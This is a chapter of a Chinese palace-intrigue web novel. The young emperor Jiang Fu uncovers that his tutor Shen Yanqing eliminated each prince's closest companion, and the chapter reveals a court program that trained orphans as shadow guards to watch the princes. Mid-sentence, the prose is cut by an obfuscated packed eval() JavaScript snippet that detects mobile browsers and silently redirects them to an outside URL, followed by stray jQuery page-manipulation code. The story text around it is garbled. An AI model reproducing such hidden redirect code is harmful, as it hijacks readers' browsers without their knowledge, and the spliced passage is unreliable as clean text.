崇礼元年正月，新帝上长奉山，去问候自己曾经的长兄。
举世皆知，大皇子自小一心向佛，后来更是为了规避兄弟相残落发出家，一直在明光寺修行。既不肯见自己曾经的皇弟们，也不愿多带随从，只是全心全意求一个清净。
但新帝既已即位，大局稳定下来，手足相争的事情再不会发生。新帝最是重亲情，自是想借此机会与长兄重建联系，虽然不能把人拉回红尘，但多少也表达一下自己作为俗家子的心意。
这件事宣传时排场做的很大——毕竟是天家的亲情。
但最后结果却很隐密，几乎没人知道山上发生了什么。皇帝日出前后上山，将近日落时下来，回程时一言不发，从此后也再没提过明光寺的事。
大家都说，是出家人已经斩断尘缘，不肯兄弟相认，让新帝伤心了。
这一程沈厌卿没有随行。不知是其主动留宫，还是被皇帝有意推阻。但他在皇帝回来后主持着往长奉山上赏了许多东西，像是真重视这件事情。
只有姜孚自己知道，他见到的是一座空寺。
……
奉德十九年八月，二皇子的一个心爱侧妃意外中毒身亡。
二皇子悲痛欲死，闭门不出，对外面夺嫡定局后残留的风云无心在意。
有传闻说，二皇子甚至在自己府中偷偷为这位侧妃戴孝，并且几个月不许别人让他见到鲜艳的颜色，连院中草木都尽皆折断丢弃，唯恐见到故花思念故人。
恢弘了许多年的王府，竟一朝变得毫无生气。
……
奉德十九年七月某日，三皇子旗下的首席幕僚明子礼莫名失踪，没有任何消息、任何线索，连尸首都找不到。
两日后惠亲王入宫，薨于宫中，追护驾之功。
这件事情越传越模糊，像是有人故意压着消息，到最后，竟没人知道明子礼是谁了。
……
奉德十九年中秋，四皇子的侍读之一落水身亡。
四皇子称此事冲撞了风水，不利于我朝气运，因此自请闭府思过。
简单来说，是给自己找了段软禁。
不过当时都以为，他是怕自己被新帝猜疑，找借口让新帝把自己看管起来，好保全自身。
但姜孚后来确认过，确实有这么一件事，有这么一个侍读。而且其与四皇子交情甚笃，同吃同住日日携手同行。简直就像……
——简直就像他和老师。
……
还有。
五皇子府中的掌事姑姑，八皇子的贴身内侍，十二皇子的启蒙教师……
从奉德十九年七月的明子礼开始，一直到崇礼元年年末。
这些事情做的很隐蔽，各自伪装的很好。新帝登基后死的人很多，这几条命也完全淹没在其中。
但是一旦有心注意，拣起一端绳结，就能抽丝剥茧……
见到这一整条珠串。
或许是始作俑者自知自己最后也是一样的结局，于是早就在为坦白一切铺垫，在宫里的这一端留了许多破绽。
所以，唯独姜孚看到的线索如此清晰。
——十七个月里，每位有资格参与夺嫡的皇子身边，都被拔掉了一个最亲近的角色。
而且手段极其狠绝，不仅要这些人再也开不了口，而且要世上再没人记得他们。这些人所有的言语、事迹，甚至沾带到的一些亲友同僚，都被血腥而彻底地抹去。
只有一个例外：
新晋的帝师沈厌卿。
这样长久缜密的谋划，这样庞大的资源消耗，又要做的隐蔽而无人敢说——其实未必是真的隐蔽，但确实能让皇子们百般悲痛之下还不敢哭出声音，终日惶惶。
背后只可能有一个来处，那就是皇宫最深处的那把椅子。
或者是，椅子后站的那个人。
宫里宫外一直有人死，姜孚有所察觉，但他没有作任何阻拦。
他知道老师不会害他。但他依然忍不住好奇这片笼罩在所有人头上的巨大乌云，好奇这云的核心里藏着怎样的雨。
沈厌卿对此讳莫如深，对他的暗示熟视无睹，一点也不那个与他无话不说的人。
这才是让姜孚真正恐慌的事。
那段日子里帝师格外爱洁，一日要沐浴更衣数次，洗手必要用柚子叶煮过的水。且衣饰都要多加熏香，十步外就能闻到其身上明晃晃的香气。书房里供起了一尊佛像，虽不像先太后那样日日供奉焚香，却也打扫得干净无尘。
沈厌卿好像变了一个人，又好像分裂成了两面：
白日在朝堂上立于半阶，满面平和沉稳，大权在握，替小皇帝回许多话，安排许多事；下朝后则疯了一样扫除异己，把三皇子旧党及许多支持过其他皇子的人杀的干干净净。
这是朝廷里的人最怕沈厌卿的一点：
他做事好像不知道什么叫适可而止——不往外贬谪，只直接了结其性命。
就像是怕自己哪天失势时有人爬回来踩他一脚，于是干脆做到了最狠最彻底的地步。
——这根本就不像四心具备的人做得出来的事情。
崇礼元年初像是不存在刑典，谁都可能被扣上罪名拖出去就砍。朝中的臣子换得很快，经常一把手死了，二把手下午就着新服色上任。
暗地里飘着许多诋毁的话，有些成了本子，说：
沈厌卿其实不是人，是什么大奸大恶的妖孽，降下世来掀起血浪为祸人间。唯有明主以代代传下的宝剑斩于阶下，才能令朝纲恢复正常。
沈厌卿忙着构陷人，竟对这种流言理都不理，任其传播。
倒是让把这些话宝贝似的攒进折子里的御史们气歪了鼻子。
谁当年成天赞许沈公子温润如玉才貌无双的！莫不是瞎了眼睛！
今日成了这么一个祸害！有没有人能管管啊！
陛下太过年轻，不知是不愿还是无力与其抗衡，竟也就这么看着阶下的人一轮轮地换。
沈厌卿势大，许多事情奏上去都不知道能不能到皇帝的手，一时间也没人愿意惹他。只能各自祈祷曾经的站队之举没有那么明显，不至于成为秋后算账的目标。
姜孚自己知道，他之所以不管，是因为他信得过老师。
沈帝师看起来一手遮天，可是一本折子，一个字条也没有扣下过，都亲手捧到了他面前。
对着姜孚，沈厌卿依然是慈爱可亲的老师，手把手教着他各种事情该如何处理。只一件事奇怪——教得很急，像要赶进度，什么都催着他记下来。
姜孚不安地问：“您在急什么呢？”
沈厌卿却只是怔了一下，轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149987|164822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声答道：
“臣没有急，陛下觉得太快了吗？那我们放慢些好了。”
他咳嗽两声。
……
晚风太冷了，姜孚将手搭在沈厌卿肩上时，能感受到他的身体在抖。
他从未见过老师哭，现在也没有。
沈厌卿只是垂着眼睛，不看他，口中慢慢述着自己的罪行。此时却一点也不急了，讲的又轻又慢，好像要等每个字里的血都渗出来，滴下去，才肯说下一句。
“陛下猜得到这些是我做的，可是恕臣冒犯，陛下未必知道我为何做。”
姜孚却蹲下来，按住帝师的肩膀，迫使对方看向自己。
“我知道的，我都清楚，这些年我听到看到的，比您想的要多……”
世上哪有天衣无缝的布置呢？只要做过，就一定会留下痕迹。
他只恨自己没有早早将这件事摆出来，害得老师竟担惊受怕至今。
“老师和那些人，绝不是一样的东西。”
……
奉德元年，江山安定下来后，先帝定了许多新规，开了许多工程。
虽有劳民伤财之嫌，但循序渐进，手段温和，并没给户部尚书的心造成太大创伤。
其中一件，是在全国兴建育幼堂。
收留战乱中与双亲离散的孩子，悉心养护，教授他们生存的技能，令他们成年后能独立谋生。
放在何朝何代，这都是一件大大的善事，虽然让许多人家有了抛弃孩子的借口，但总归是让这些幼儿免去了长大后被打骂之苦。
一时间，举国上下交口称赞，都说陛下仁慈，爱惜万民，又心细如发润物无声，竟能想到这样微末的事情。
但与此同时，皇家内部还在做另一件事。
选拔身份干净的良家子，作皇帝和皇子们的暗卫。
这些人既要毫无根基，又要身世清楚——没有什么比与父母断了关系的孤儿更加合适的了。
于是育幼堂中根骨好的，聪慧的孩子都被秘密送往京城，安置在京郊的另一处特别堂口进行培训和筛选。
在这里，他们不学那些平常的技艺。
只学如何隐蔽、如何监视、如何杀人。
皇家不以寻常的礼义教育他们，只说除了自己的主子没有不能下手的。一切以忠心和信义为上，无论如何不许爱惜自身。
要他们死，他们就须得立刻去死，有一分一毫的迟疑都是不够格。
可以想见的是，以这样扭曲的条规灌下去，这些孩子长大后性情也定然不容于世，成了许多个兀兀的突枝儿。
不过这并不打紧，因为他们一生都只需在幕后做事，死了也无声无名，谁记得他们怎样呢？
历代皇家都有暗卫，都是如此，只管精细养着他们十几年，待到死了残了，再换也就是了。
但随着皇子数量日渐增多，宫中势力愈发驳杂，英明神武的先帝突发奇想：
既然可以让暗卫去探听监视宫外的事情，那么，是否也可以让他们去监管自己的主子们呢？
隐瞒身份，做些引导，做些暗示。
站在最近的地方，借着日渐笃深的感情，把他们从母妃的娘家那边扯过来，牢牢地把控在皇家的手里……
让他们做一根线，牵住这些皇位备选人的心。